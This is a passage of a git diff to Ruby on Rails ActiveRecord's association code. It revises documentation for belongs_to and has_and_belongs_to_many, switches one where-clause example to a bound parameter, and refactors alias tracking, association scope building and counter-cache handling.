# * <tt>Post#build_author</tt> (similar to <tt>post.author = Author.new</tt>)
# * <tt>Post#create_author</tt> (similar to <tt>post.author = Author.new; post.author.save; post.author</tt>)
# * <tt>Post#create_author!</tt> (similar to <tt>post.author = Author.new; post.author.save!; post.author</tt>)
- # The declaration can also include an options hash to specialize the behavior of the association.
+ # The declaration can also include an +options+ hash to specialize the behavior of the association.
+ #
+ # === Scopes
+ #
+ # You can pass a second argument +scope+ as a callable (i.e. proc or
+ # lambda) to retrieve a specific record or customize the generated query
+ # when you access the associated object.
+ #
+ # Scope examples:
+ # belongs_to :user, -> { where(id: 2) }
+ # belongs_to :user, -> { joins(:friends) }
+ # belongs_to :level, ->(level) { where("game_level > ?", level.current) }
#
# === Options
#
@@ -1354,7 +1453,7 @@ module ActiveRecord
# class is created and decremented when it's destroyed. This requires that a column
# named <tt>#{table_name}_count</tt> (such as +comments_count+ for a belonging Comment class)
# is used on the associate class (such as a Post class) - that is the migration for
- # <tt>#{table_name}_count</tt> is created on the associate class (such that Post.comments_count will
+ # <tt>#{table_name}_count</tt> is created on the associate class (such that <tt>Post.comments_count</tt> will
# return the count cached, see note below). You can also specify a custom counter
# cache column by providing a column name instead of a +true+/+false+ value to this
# option (e.g., <tt>counter_cache: :my_custom_counter</tt>.)
@@ -1374,7 +1473,7 @@ module ActiveRecord
#
# Note that <tt>accepts_nested_attributes_for</tt> sets <tt>:autosave</tt> to <tt>true</tt>.
# [:touch]
- # If true, the associated object will be touched (the updated_at/on attributes set to now)
+ # If true, the associated object will be touched (the updated_at/on attributes set to current time)
# when this record is either saved or destroyed. If you specify a symbol, that attribute
# will be updated with the current time in addition to the updated_at/on attribute.
# [:inverse_of]
@@ -1382,20 +1481,26 @@ module ActiveRecord
# object that is the inverse of this <tt>belongs_to</tt> association. Does not work in
# combination with the <tt>:polymorphic</tt> options.
# See ActiveRecord::Associations::ClassMethods's overview on Bi-directional associations for more detail.
+ # [:required]
+ # When set to +true+, the association will also have its presence validated.
+ # This will validate the association itself, not the id. You can use
+ # +:inverse_of+ to avoid an extra query during validation.
#
# Option examples:
# belongs_to :firm, foreign_key: "client_of"
# belongs_to :person, primary_key: "name", foreign_key: "person_name"
# belongs_to :author, class_name: "Person", foreign_key: "author_id"
- # belongs_to :valid_coupon, ->(o) { where "discounts > #{o.payments_count}" },
+ # belongs_to :valid_coupon, ->(o) { where "discounts > ?", o.payments_count },
# class_name: "Coupon", foreign_key: "coupon_id"
# belongs_to :attachable, polymorphic: true
# belongs_to :project, readonly: true
# belongs_to :post, counter_cache: true
# belongs_to :company, touch: true
# belongs_to :company, touch: :employees_last_updated_at
+ # belongs_to :company, required: true
def belongs_to(name, scope = nil, options = {})
- Builder::BelongsTo.build(self, name, scope, options)
+ reflection = Builder::BelongsTo.build(self, name, scope, options)
+ Reflection.add_reflection self, name, reflection
end
# Specifies a many-to-many relationship with another class. This associates two classes via an
@@ -1409,6 +1514,8 @@ module ActiveRecord
# to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes",
# but it in fact generates a join table name of "paper_boxes_papers". Be aware of this caveat, and use the
# custom <tt>:join_table</tt> option if you need to.
+ # If your tables share a common prefix, it will only appear once at the beginning. For example,
+ # the tables "catalog_categories" and "catalog_products" generate a join table name of "catalog_categories_products".
#
# The join table should not have a primary key or a model associated with it. You must manually generate the
# join table with a migration such as this:
@@ -1428,14 +1535,17 @@ module ActiveRecord
#
# Adds the following methods for retrieval and query:
#
+ # +collection+ is a placeholder for the symbol passed as the +name+ argument, so
+ # <tt>has_and_belongs_to_many :categories</tt> would add among others <tt>categories.empty?</tt>.
+ #
# [collection(force_reload = false)]
# Returns an array of all the associated objects.
# An empty array is returned if none are found.
# [collection<<(object, ...)]
# Adds one or more objects to the collection by creating associations in the join table
# (<tt>collection.push</tt> and <tt>collection.concat</tt> are aliases to this method).
- # Note that this operation instantly fires update sql without waiting for the save or update call on the
- # parent object.
+ # Note that this operation instantly fires update SQL without waiting for the save or update call on the
+ # parent object, unless the parent object is a new record.
# [collection.delete(object, ...)]
# Removes one or more objects from the collection by removing their associations from the join table.
# This does not destroy the objects.
@@ -1457,10 +1567,10 @@ module ActiveRecord
# [collection.find(id)]
# Finds an associated object responding to the +id+ and that
# meets the condition that it has to be associated with this object.
- # Uses the same rules as ActiveRecord::Base.find.
+ # Uses the same rules as <tt>ActiveRecord::Base.find</tt>.
# [collection.exists?(...)]
# Checks whether an associated object with the given conditions exists.
- # Uses the same rules as ActiveRecord::Base.exists?.
+ # Uses the same rules as <tt>ActiveRecord::Base.exists?</tt>.
# [collection.build(attributes = {})]
# Returns a new object of the collection type that has been instantiated
# with +attributes+ and linked to this object through the join table, but has not yet been saved.
@@ -1469,9 +1579,6 @@ module ActiveRecord
# with +attributes+, linked to this object through the join table, and that has already been
# saved (if it passed the validation).
#
- # (+collection+ is replaced with the symbol passed as the first argument, so
- # <tt>has_and_belongs_to_many :categories</tt> would add among others <tt>categories.empty?</tt>.)
- #
# === Example
#
# A Developer class declares <tt>has_and_belongs_to_many :projects</tt>, which will add:
@@ -1489,7 +1596,34 @@ module ActiveRecord
# * <tt>Developer#projects.exists?(...)</tt>
# * <tt>Developer#projects.build</tt> (similar to <tt>Project.new("developer_id" => id)</tt>)
# * <tt>Developer#projects.create</tt> (similar to <tt>c = Project.new("developer_id" => id); c.save; c</tt>)
- # The declaration may include an options hash to specialize the behavior of the association.
+ # The declaration may include an +options+ hash to specialize the behavior of the association.
+ #
+ # === Scopes
+ #
+ # You can pass a second argument +scope+ as a callable (i.e. proc or
+ # lambda) to retrieve a specific set of records or customize the generated
+ # query when you access the associated collection.
+ #
+ # Scope examples:
+ # has_and_belongs_to_many :projects, -> { includes :milestones, :manager }
+ # has_and_belongs_to_many :categories, ->(category) {
+ # where("default_category = ?", category.name)
+ # }
+ #
+ # === Extensions
+ #
+ # The +extension+ argument allows you to pass a block into a
+ # has_and_belongs_to_many association. This is useful for adding new
+ # finders, creators and other factory-type methods to be used as part of
+ # the association.
+ #
+ # Extension examples:
+ # has_and_belongs_to_many :contractors do
+ # def find_or_create_by_name(name)
+ # first_name, last_name = name.split(" ", 2)
+ # find_or_create_by(first_name: first_name, last_name: last_name)
+ # end
+ # end
#
# === Options
#
@@ -1530,7 +1664,48 @@ module ActiveRecord
# has_and_belongs_to_many :categories, join_table: "prods_cats"
# has_and_belongs_to_many :categories, -> { readonly }
def has_and_belongs_to_many(name, scope = nil, options = {}, &extension)
- Builder::HasAndBelongsToMany.build(self, name, scope, options, &extension)
+ if scope.is_a?(Hash)
+ options = scope
+ scope = nil
+ end
+
+ habtm_reflection = ActiveRecord::Reflection::HasAndBelongsToManyReflection.new(name, scope, options, self)
+
+ builder = Builder::HasAndBelongsToMany.new name, self, options
+
+ join_model = builder.through_model
+
+ # FIXME: we should move this to the internal constants. Also people
+ # should never directly access this constant so I'm not happy about
+ # setting it.
+ const_set join_model.name, join_model
+
+ middle_reflection = builder.middle_reflection join_model
+
+ Builder::HasMany.define_callbacks self, middle_reflection
+ Reflection.add_reflection self, middle_reflection.name, middle_reflection
+ middle_reflection.parent_reflection = [name.to_s, habtm_reflection]
+
+ include Module.new {
+ class_eval <<-RUBY, __FILE__, __LINE__ + 1
+ def destroy_associations
+ association(:#{middle_reflection.name}).delete_all(:delete_all)
+ association(:#{name}).reset
+ super
+ end
+ RUBY
+ }
+
+ hm_options = {}
+ hm_options[:through] = middle_reflection.name
+ hm_options[:source] = join_model.right_reflection.name
+
+ [:before_add, :after_add, :before_remove, :after_remove, :autosave, :validate, :join_table, :class_name].each do |k|
+ hm_options[k] = options[k] if options.key? k
+ end
+
+ has_many name, scope, hm_options, &extension
+ self._reflections[name.to_s].parent_reflection = [name.to_s, habtm_reflection]
end
end
end
diff --git a/activerecord/lib/active_record/associations/alias_tracker.rb b/activerecord/lib/active_record/associations/alias_tracker.rb
index 0c23029981..0c3234ed24 100644
--- a/activerecord/lib/active_record/associations/alias_tracker.rb
+++ b/activerecord/lib/active_record/associations/alias_tracker.rb
@@ -5,32 +5,62 @@ module ActiveRecord
# Keeps track of table aliases for ActiveRecord::Associations::ClassMethods::JoinDependency and
# ActiveRecord::Associations::ThroughAssociationScope
class AliasTracker # :nodoc:
- attr_reader :aliases, :table_joins, :connection
+ attr_reader :aliases, :connection
- # table_joins is an array of arel joins which might conflict with the aliases we assign here
- def initialize(connection = Base.connection, table_joins = [])
- @aliases = Hash.new { |h,k| h[k] = initial_count_for(k) }
- @table_joins = table_joins
- @connection = connection
+ def self.empty(connection)
+ new connection, Hash.new(0)
end
- def aliased_table_for(table_name, aliased_name = nil)
- table_alias = aliased_name_for(table_name, aliased_name)
-
- if table_alias == table_name
- Arel::Table.new(table_name)
+ def self.create(connection, table_joins)
+ if table_joins.empty?
+ empty connection
else
- Arel::Table.new(table_name).alias(table_alias)
+ aliases = Hash.new { |h,k|
+ h[k] = initial_count_for(connection, k, table_joins)
+ }
+ new connection, aliases
end
end
- def aliased_name_for(table_name, aliased_name = nil)
- aliased_name ||= table_name
+ def self.initial_count_for(connection, name, table_joins)
+ # quoted_name should be downcased as some database adapters (Oracle) return quoted name in uppercase
+ quoted_name = connection.quote_table_name(name).downcase
+ counts = table_joins.map do |join|
+ if join.is_a?(Arel::Nodes::StringJoin)
+ # Table names + table aliases
+ join.left.downcase.scan(
+ /join(?:\s+\w+)?\s+(\S+\s+)?#{quoted_name}\son/
+ ).size
+ elsif join.respond_to? :left
+ join.left.table_name == name ? 1 : 0
+ else
+ # this branch is reached by two tests:
+ #
+ # activerecord/test/cases/associations/cascaded_eager_loading_test.rb:37
+ # with :posts
+ #
+ # activerecord/test/cases/associations/eager_test.rb:1133
+ # with :comments
+ #
+ 0
+ end
+ end
+
+ counts.sum
+ end
+
+ # table_joins is an array of arel joins which might conflict with the aliases we assign here
+ def initialize(connection, aliases)
+ @aliases = aliases
+ @connection = connection
+ end
+
+ def aliased_table_for(table_name, aliased_name)
if aliases[table_name].zero?
# If it's zero, we can have our table_name
aliases[table_name] = 1
- table_name
+ Arel::Table.new(table_name)
else
# Otherwise, we need to use an alias
aliased_name = connection.table_alias_for(aliased_name)
@@ -38,36 +68,17 @@ module ActiveRecord
# Update the count
aliases[aliased_name] += 1
- if aliases[aliased_name] > 1
+ table_alias = if aliases[aliased_name] > 1
"#{truncate(aliased_name)}_#{aliases[aliased_name]}"
else
aliased_name
end
+ Arel::Table.new(table_name).alias(table_alias)
end
end
private
- def initial_count_for(name)
- return 0 if Arel::Table === table_joins
-
- # quoted_name should be downcased as some database adapters (Oracle) return quoted name in uppercase
- quoted_name = connection.quote_table_name(name).downcase
-
- counts = table_joins.map do |join|
- if join.is_a?(Arel::Nodes::StringJoin)
- # Table names + table aliases
- join.left.downcase.scan(
- /join(?:\s+\w+)?\s+(\S+\s+)?#{quoted_name}\son/
- ).size
- else
- join.left.table_name == name ? 1 : 0
- end
- end
-
- counts.sum
- end
-
def truncate(name)
name.slice(0, connection.table_alias_length - 2)
end
diff --git a/activerecord/lib/active_record/associations/association.rb b/activerecord/lib/active_record/associations/association.rb
index 3f0e4ca999..f1c36cd047 100644
--- a/activerecord/lib/active_record/associations/association.rb
+++ b/activerecord/lib/active_record/associations/association.rb
@@ -13,11 +13,11 @@ module ActiveRecord
# BelongsToAssociation
# BelongsToPolymorphicAssociation
# CollectionAssociation
- # HasAndBelongsToManyAssociation
# HasManyAssociation
# HasManyThroughAssociation + ThroughAssociation
class Association #:nodoc:
attr_reader :owner, :target, :reflection
+ attr_accessor :inversed
delegate :options, :to => :reflection
@@ -30,7 +30,7 @@ module ActiveRecord
reset_scope
end
- # Returns the name of the table of the related class:
+ # Returns the name of the table of the associated class:
#
# post.comments.aliased_table_name # => "comments"
#
@@ -43,6 +43,7 @@ module ActiveRecord
@loaded = false
@target = nil
@stale_state = nil
+ @inversed = false
end
# Reloads the \target and returns +self+ on success.
@@ -60,18 +61,19 @@ module ActiveRecord
# Asserts the \target has been loaded setting the \loaded flag to +true+.
def loaded!
- @loaded = true
+ @loaded = true
@stale_state = stale_state
+ @inversed = false
end
# The target is stale if the target no longer points to the record(s) that the
# relevant foreign_key(s) refers to. If stale, the association accessor method
# on the owner will reload the target. It's up to subclasses to implement the
- # state_state method if relevant.
+ # stale_state method if relevant.
#
# Note that if the target has not been loaded, it is not considered stale.
def stale_target?
- loaded? && @stale_state != stale_state
+ !inversed && loaded? && @stale_state != stale_state
end
# Sets the target of this association to <tt>\target</tt>, and the \loaded flag to +true+.
@@ -84,20 +86,15 @@ module ActiveRecord
target_scope.merge(association_scope)
end
- def scoped
- ActiveSupport::Deprecation.warn "#scoped is deprecated. use #scope instead."
- scope
- end
-
# The scope for this association.
#
# Note that the association_scope is merged into the target_scope only when the
- # scoped method is called. This is because at that point the call may be surrounded
+ # scope method is called. This is because at that point the call may be surrounded
# by scope.scoping { ... } or with_scope { ... } etc, which affects the scope which
# actually gets built.
def association_scope
if klass
- @association_scope ||= AssociationScope.new(self).scope
+ @association_scope ||= AssociationScope.scope(self, klass.connection)
end
end
@@ -107,13 +104,15 @@ module ActiveRecord
# Set the inverse association, if possible
def set_inverse_instance(record)
- if record && invertible_for?(record)
+ if invertible_for?(record)
inverse = record.association(inverse_reflection_for(record).name)
inverse.target = owner
+ inverse.inversed = true
end
+ record
end
- # This class of the target. belongs_to polymorphic overrides this to look at the
+ # Returns the class of the target. belongs_to polymorphic overrides this to look at the
# polymorphic_type field on the owner.
def klass
reflection.klass
@@ -122,7 +121,7 @@ module ActiveRecord
# Can be overridden (i.e. in ThroughAssociation) to merge in other scopes (i.e. the
# through association's scope)
def target_scope
- klass.all
+ AssociationRelation.create(klass, klass.arel_table, self).merge!(klass.all)
end
# Loads the \target if needed and returns it.
@@ -146,7 +145,7 @@ module ActiveRecord
def interpolate(sql, record = nil)
if sql.respond_to?(:to_proc)
- owner.send(:instance_exec, record, &sql)
+ owner.instance_exec(record, &sql)
else
sql
end
@@ -161,7 +160,14 @@ module ActiveRecord
def marshal_load(data)
reflection_name, ivars = data
ivars.each { |name, val| instance_variable_set(name, val) }
- @reflection = @owner.class.reflect_on_association(reflection_name)
+ @reflection = @owner.class._reflect_on_association(reflection_name)
+ end
+
+ def initialize_attributes(record) #:nodoc:
+ skip_assign = [reflection.foreign_key, reflection.type].compact
+ attributes = create_scope.except(*(record.changed - skip_assign))
+ record.assign_attributes(attributes)
+ set_inverse_instance(record)
end
private
@@ -173,7 +179,7 @@ module ActiveRecord
def creation_attributes
attributes = {}
- if (reflection.macro == :has_one || reflection.macro == :has_many) && !options[:through]
+ if (reflection.has_one? || reflection.collection?) && !options[:through]
attributes[reflection.foreign_key] = owner[reflection.active_record_primary_key]
if reflection.options[:as]
@@ -189,13 +195,14 @@ module ActiveRecord
creation_attributes.each { |key, value| record[key] = value }
end
- # Should be true if there is a foreign key present on the owner which
+ # Returns true if there is a foreign key present on the owner which
# references the target. This is used to determine whether we can load
# the target if the owner is currently a new record (and therefore
- # without a key).
+ # without a key). If the owner is a new record then foreign_key must
+ # be present in order to load target.
#
# Currently implemented by belongs_to (vanilla and polymorphic) and
- # has_one/has_many :through associations which go through a belongs_to
+ # has_one/has_many :through associations which go through a belongs_to.
def foreign_key_present?
false
end
@@ -203,7 +210,7 @@ module ActiveRecord
# Raises ActiveRecord::AssociationTypeMismatch unless +record+ is of
# the kind of the class of the associated objects. Meant to be used as
# a sanity check when you are about to assign an associated record.
- def raise_on_type_mismatch(record)
+ def raise_on_type_mismatch!(record)
unless record.is_a?(reflection.klass) || record.is_a?(reflection.class_name.constantize)
message = "#{reflection.class_name}(##{reflection.klass.object_id}) expected, got #{record.class}(##{record.class.object_id})"
raise ActiveRecord::AssociationTypeMismatch, message
@@ -217,9 +224,15 @@ module ActiveRecord
reflection.inverse_of
end
- # Is this association invertible? Can be redefined by subclasses.
+ # Returns true if inverse association on the given record needs to be set.
+ # This method is redefined by subclasses.
def invertible_for?(record)
- inverse_reflection_for(record)
+ foreign_key_for?(record) && inverse_reflection_for(record)
+ end
+
+ # Returns true if record contains the foreign_key
+ def foreign_key_for?(record)
+ record.has_attribute?(reflection.foreign_key)
end
# This should be implemented to return the values of the relevant key(s) on the owner,
@@ -232,9 +245,7 @@ module ActiveRecord
def build_record(attributes)
reflection.build_association(attributes) do |record|
- skip_assign = [reflection.foreign_key, reflection.type].compact
- attributes = create_scope.except(*(record.changed - skip_assign))
- record.assign_attributes(attributes)
+ initialize_attributes(record)
end
end
end
diff --git a/activerecord/lib/active_record/associations/association_scope.rb b/activerecord/lib/active_record/associations/association_scope.rb
index 1303822868..dcbd57e61d 100644
--- a/activerecord/lib/active_record/associations/association_scope.rb
+++ b/activerecord/lib/active_record/associations/association_scope.rb
@@ -1,113 +1,182 @@
module ActiveRecord
module Associations
class AssociationScope #:nodoc:
- include JoinHelper
+ def self.scope(association, connection)
+ INSTANCE.scope association, connection
+ end
+
+ class BindSubstitution
+ def initialize(block)
+ @block = block
+ end
+
+ def bind_value(scope, column, value, alias_tracker)
+ substitute = alias_tracker.connection.substitute_at(column)
+ scope.bind_values += [[column, @block.call(value)]]
+ substitute
+ end
+ end
- attr_reader :association, :alias_tracker
+ def self.create(&block)
+ block = block ? block : lambda { |val| val }
+ new BindSubstitution.new(block)
+ end
+
+ def initialize(bind_substitution)
+ @bind_substitution = bind_substitution
+ end
- delegate :klass, :owner, :reflection, :interpolate, :to => :association
- delegate :chain, :scope_chain, :options, :source_options, :active_record, :to => :reflection
+ INSTANCE = create
+
+ def scope(association, connection)
+ klass = association.klass
+ reflection = association.reflection
+ scope = klass.unscoped
+ owner = association.owner
+ alias_tracker = AliasTracker.empty connection
+
+ scope.extending! Array(reflection.options[:extend])
+ add_constraints(scope, owner, klass, reflection, alias_tracker)
+ end
- def initialize(association)
- @association = association
- @alias_tracker = AliasTracker.new klass.connection
+ def join_type
+ Arel::Nodes::InnerJoin
end
- def scope
- scope = klass.unscoped
- scope.merge! eval_scope(klass, reflection.scope) if reflection.scope
- add_constraints(scope)
+ def self.get_bind_values(owner, chain)
+ binds = []
+ last_reflection = chain.last
+
+ binds << last_reflection.join_id_for(owner)
+ if last_reflection.type
+ binds << owner.class.base_class.name
+ end
+
+ chain.each_cons(2).each do |reflection, next_reflection|
+ if reflection.type
+ binds << next_reflection.klass.base_class.name
+ end
+ end
+ binds
end
private
- def column_for(table_name, column_name)
- columns = alias_tracker.connection.schema_cache.columns_hash[table_name]
+ def construct_tables(chain, klass, refl, alias_tracker)
+ chain.map do |reflection|
+ alias_tracker.aliased_table_for(
+ table_name_for(reflection, klass, refl),
+ table_alias_for(reflection, refl, reflection != refl)
+ )
+ end
+ end
+
+ def table_alias_for(reflection, refl, join = false)
+ name = "#{reflection.plural_name}_#{alias_suffix(refl)}"
+ name << "_join" if join
+ name
+ end
+
+ def join(table, constraint)
+ table.create_join(table, table.create_on(constraint), join_type)
+ end
+
+ def column_for(table_name, column_name, alias_tracker)
+ columns = alias_tracker.connection.schema_cache.columns_hash(table_name)
columns[column_name]
end
- def bind_value(scope, column, value)
- substitute = alias_tracker.connection.substitute_at(
- column, scope.bind_values.length)
- scope.bind_values += [[column, value]]
- substitute
+ def bind_value(scope, column, value, alias_tracker)
+ @bind_substitution.bind_value scope, column, value, alias_tracker
end
- def bind(scope, table_name, column_name, value)
- column = column_for table_name, column_name
- bind_value scope, column, value
+ def bind(scope, table_name, column_name, value, tracker)
+ column = column_for table_name, column_name, tracker
+ bind_value scope, column, value, tracker
end
- def add_constraints(scope)
- tables = construct_tables
+ def last_chain_scope(scope, table, reflection, owner, tracker, assoc_klass)
+ join_keys = reflection.join_keys(assoc_klass)
+ key = join_keys.key
+ foreign_key = join_keys.foreign_key
- chain.each_with_index do |reflection, i|
- table, foreign_table = tables.shift, tables.first
+ bind_val = bind scope, table.table_name, key.to_s, owner[foreign_key], tracker
+ scope = scope.where(table[key].eq(bind_val))
- if reflection.source_macro == :has_and_belongs_to_many
- join_table = tables.shift
+ if reflection.type
+ value = owner.class.base_class.name
+ bind_val = bind scope, table.table_name, reflection.type, value, tracker
+ scope = scope.where(table[reflection.type].eq(bind_val))
+ else
+ scope
+ end
+ end
- scope = scope.joins(join(
- join_table,
- table[reflection.association_primary_key].
- eq(join_table[reflection.association_foreign_key])
- ))
+ def next_chain_scope(scope, table, reflection, tracker, assoc_klass, foreign_table, next_reflection)
+ join_keys = reflection.join_keys(assoc_klass)
+ key = join_keys.key
+ foreign_key = join_keys.foreign_key
- table, foreign_table = join_table, tables.first
- end
+ constraint = table[key].eq(foreign_table[foreign_key])
- if reflection.source_macro == :belongs_to
- if reflection.options[:polymorphic]
- key = reflection.association_primary_key(klass)
- else
- key = reflection.association_primary_key
- end
+ if reflection.type
+ value = next_reflection.klass.base_class.name
+ bind_val = bind scope, table.table_name, reflection.type, value, tracker
+ scope = scope.where(table[reflection.type].eq(bind_val))
+ end
- foreign_key = reflection.foreign_key
- else
- key = reflection.foreign_key
- foreign_key = reflection.active_record_primary_key
- end
+ scope = scope.joins(join(foreign_table, constraint))
+ end
- if reflection == chain.last
- bind_val = bind scope, table.table_name, key.to_s, owner[foreign_key]
- scope = scope.where(table[key].eq(bind_val))
+ def add_constraints(scope, owner, assoc_klass, refl, tracker)
+ chain = refl.chain
+ scope_chain = refl.scope_chain
- if reflection.type
- value = owner.class.base_class.name
- bind_val = bind scope, table.table_name, reflection.type.to_s, value
- scope = scope.where(table[reflection.type].eq(bind_val))
- end
- else
- constraint = table[key].eq(foreign_table[foreign_key])
+ tables = construct_tables(chain, assoc_klass, refl, tracker)
- if reflection.type
- type = chain[i + 1].klass.base_class.name
- constraint = constraint.and(table[reflection.type].eq(type))
- end
+ owner_reflection = chain.last
+ table = tables.last
+ scope = last_chain_scope(scope, table, owner_reflection, owner, tracker, assoc_klass)
+
+ chain.each_with_index do |reflection, i|
+ table, foreign_table = tables.shift, tables.first
- scope = scope.joins(join(foreign_table, constraint))
+ unless reflection == chain.last
+ next_reflection = chain[i + 1]
+ scope = next_chain_scope(scope, table, reflection, tracker, assoc_klass, foreign_table, next_reflection)
end
+ is_first_chain = i == 0
+ klass = is_first_chain ? assoc_klass : reflection.klass
+
# Exclude the scope of the association itself, because that
# was already merged in the #scope method.
- (scope_chain[i] - [self.reflection.scope]).each do |scope_chain_item|
- item = eval_scope(reflection.klass, scope_chain_item)
+ scope_chain[i].each do |scope_chain_item|
+ item = eval_scope(klass, scope_chain_item, owner)
+
+ if scope_chain_item == refl.scope
+ scope.merge! item.except(:where, :includes, :bind)
+ end
+
+ if is_first_chain
+ scope.includes! item.includes_values
+ end
- scope.includes! item.includes_values
scope.where_values += item.where_values
+ scope.bind_values += item.bind_values
+ scope.order_values |= item.order_values
end
end
scope
end
- def alias_suffix
- reflection.name
+ def alias_suffix(refl)
+ refl.name
end
- def table_name_for(reflection)
- if reflection == self.reflection
+ def table_name_for(reflection, klass, refl)
+ if reflection == refl
# If this is a polymorphic belongs_to, we want to get the klass from the
# association because it depends on the polymorphic_type attribute of
# the owner
@@ -117,12 +186,8 @@ module ActiveRecord
end
end
- def eval_scope(klass, scope)
- if scope.is_a?(Relation)
- scope
- else
- klass.unscoped.instance_exec(owner, &scope)
- end
+ def eval_scope(klass, scope, owner)
+ klass.unscoped.instance_exec(owner, &scope)
end
end
end
diff --git a/activerecord/lib/active_record/associations/belongs_to_association.rb b/activerecord/lib/active_record/associations/belongs_to_association.rb
index 75f72c1a46..81fdd681de 100644
--- a/activerecord/lib/active_record/associations/belongs_to_association.rb
+++ b/activerecord/lib/active_record/associations/belongs_to_association.rb
@@ -1,5 +1,5 @@
module ActiveRecord
- # = Active Record Belongs To Associations
+ # = Active Record Belongs To Association
module Associations
class BelongsToAssociation < SingularAssociation #:nodoc:
@@ -8,13 +8,16 @@ module ActiveRecord
end
def replace(record)
- raise_on_type_mismatch(record) if record
-
- update_counters(record)
- replace_keys(record)
- set_inverse_instance(record)
-
- @updated = true if record
+ if record
+ raise_on_type_mismatch!(record)
+ update_counters(record)
+ replace_keys(record)
+ set_inverse_instance(record)
+ @updated = true
+ else
+ decrement_counters
+ remove_keys
+ end
self.target = record
end
@@ -28,38 +31,57 @@ module ActiveRecord
@updated
end
+ def decrement_counters # :nodoc:
+ with_cache_name { |name| decrement_counter name }
+ end
+
+ def increment_counters # :nodoc:
+ with_cache_name { |name| increment_counter name }
+ end
+
private
def find_target?
!loaded? && foreign_key_present? && klass
end
- def update_counters(record)
+ def with_cache_name
counter_cache_name = reflection.counter_cache_column
+ return unless counter_cache_name && owner.persisted?
+ yield counter_cache_name
+ end
- if counter_cache_name && owner.persisted? && different_target?(record)
- if record
- record.class.increment_counter(counter_cache_name, record.id)
- end
+ def update_counters(record)
+ with_cache_name do |name|
+ return unless different_target? record
+ record.class.increment_counter(name, record.id)
+ decrement_counter name
+ end
+ end
+
+ def decrement_counter(counter_cache_name)
+ if foreign_key_present?
+ klass.decrement_counter(counter_cache_name, target_id)
+ end
+ end
- if foreign_key_present?
- klass.decrement_counter(counter_cache_name, target_id)
- end
+ def increment_counter(counter_cache_name)
+ if foreign_key_present?
+ klass.increment_counter(counter_cache_name, target_id)
end
end
# Checks whether record is different to the current target, without loading it
def different_target?(record)
- record.nil? && owner[reflection.foreign_key] ||
- record && record.id != owner[reflection.foreign_key]
+ record.id != owner[reflection.foreign_key]
end
def replace_keys(record)
- if record
- owner[reflection.foreign_key] = record[reflection.association_primary_key(record.class)]
- else
- owner[reflection.foreign_key] = nil
- end
+ owner[reflection.foreign_key] = record[reflection.association_primary_key(record.class)]
+ end
+
+ def remove_keys
+ owner[reflection.foreign_key] = nil
end
def foreign_key_present?
@@ -70,7 +92,7 @@ module ActiveRecord
# has_one associations.
def invertible_for?(record)
inverse = inverse_reflection_for(record)
- inverse && inverse.macro == :has_one
+ inverse && inverse.has_one?
end
def target_id
diff --git a/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb b/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb
index 88ce03a3cd..b710cf6bdb 100644
--- a/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb
+++ b/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb
@@ -11,7 +11,12 @@ module ActiveRecord
def replace_keys(record)
super
- owner[reflection.foreign_type] = record && record.class.base_class.name
+ owner[reflection.foreign_type] = record.class.base_class.name
+ end
+
+ def remove_keys
+ super
+ owner[reflection.foreign_type] = nil
end
def different_target?(record)
@@ -22,7 +27,7 @@ module ActiveRecord
reflection.polymorphic_inverse_of(record.class)
end
- def raise_on_type_mismatch(record)
+ def raise_on_type_mismatch!(record)
# A polymorphic association cannot have a type mismatch, by definition
end
diff --git a/activerecord/lib/active_record/associations/builder/association.rb b/activerecord/lib/active_record/associations/builder/association.rb
index 5c37f42794..947d61ee7b 100644
--- a/activerecord/lib/active_record/associations/builder/association.rb
+++ b/activerecord/lib/active_record/associations/builder/association.rb
@@ -1,50 +1,73 @@
+require 'active_support/core_ext/module/attribute_accessors'
+
+# This is the parent Association class which defines the variables
+# used by all associations.
+#
+# The hierarchy is defined as follows:
+# Association
+# - SingularAssociation
+# - BelongsToAssociation
+# - HasOneAssociation
+# - CollectionAssociation
+# - HasManyAssociation
+
module ActiveRecord::Associations::Builder
class Association #:nodoc:
class << self
+ attr_accessor :extensions
+ # TODO: This class accessor is needed to make activerecord-deprecated_finders work.
+ # We can move it to a constant in 5.0.
attr_accessor :valid_options
end
+ self.extensions = []
+
+ self.valid_options = [:class_name, :class, :foreign_key, :validate]
- self.valid_options = [:class_name, :foreign_key, :validate]
+ attr_reader :name, :scope, :options
- attr_reader :model, :name, :scope, :options, :reflection
+ def self.build(model, name, scope, options, &block)
+ if model.dangerous_attribute_method?(name)
+ raise ArgumentError, "You tried to define an association named #{name} on the model #{model.name}, but " \
+ "this will conflict with a method #{name} already defined by Active Record. " \
+ "Please choose a different association name."
+ end
- def self.build(*args, &block)
- new(*args, &block).build
+ builder = create_builder model, name, scope, options, &block
+ reflection = builder.build(model)
+ define_accessors model, reflection
+ define_callbacks model, reflection
+ define_validations model, reflection
+ builder.define_extensions model
+ reflection
end
- def initialize(model, name, scope, options)
+ def self.create_builder(model, name, scope, options, &block)
raise ArgumentError, "association names must be a Symbol" unless name.kind_of?(Symbol)
- @model = model
- @name = name
+ new(model, name, scope, options, &block)
+ end
+ def initialize(model, name, scope, options)
+ # TODO: Move this to create_builder as soon we drop support to activerecord-deprecated_finders.
if scope.is_a?(Hash)
- @scope = nil
- @options = scope
- else
- @scope = scope
- @options = options
+ options = scope
+ scope = nil
end
- if @scope && @scope.arity == 0
- prev_scope = @scope
- @scope = proc { instance_exec(&prev_scope) }
- end
- end
+ # TODO: Remove this model argument as soon we drop support to activerecord-deprecated_finders.
+ @name = name
+ @scope = scope
+ @options = options
- def mixin
- @model.generated_feature_methods
- end
+ validate_options
- include Module.new { def build; end }
+ if scope && scope.arity == 0
+ @scope = proc { instance_exec(&scope) }
+ end
+ end
- def build
- validate_options
- define_accessors
- configure_dependency if options[:dependent]
- @reflection = model.create_reflection(macro, name, scope, options, model)
- super # provides an extension point
- @reflection
+ def build(model)
+ ActiveRecord::Reflection.create(macro, name, scope, options, model)
end
def macro
@@ -52,19 +75,41 @@ module ActiveRecord::Associations::Builder
end
def valid_options
- Association.valid_options
+ Association.valid_options + Association.extensions.flat_map(&:valid_options)
end
def validate_options
options.assert_valid_keys(valid_options)
end
- def define_accessors
- define_readers
- define_writers
+ def define_extensions(model)
+ end
+
+ def self.define_callbacks(model, reflection)
+ if dependent = reflection.options[:dependent]
+ check_dependent_options(dependent)
+ add_destroy_callbacks(model, reflection)
+ end
+
+ Association.extensions.each do |extension|
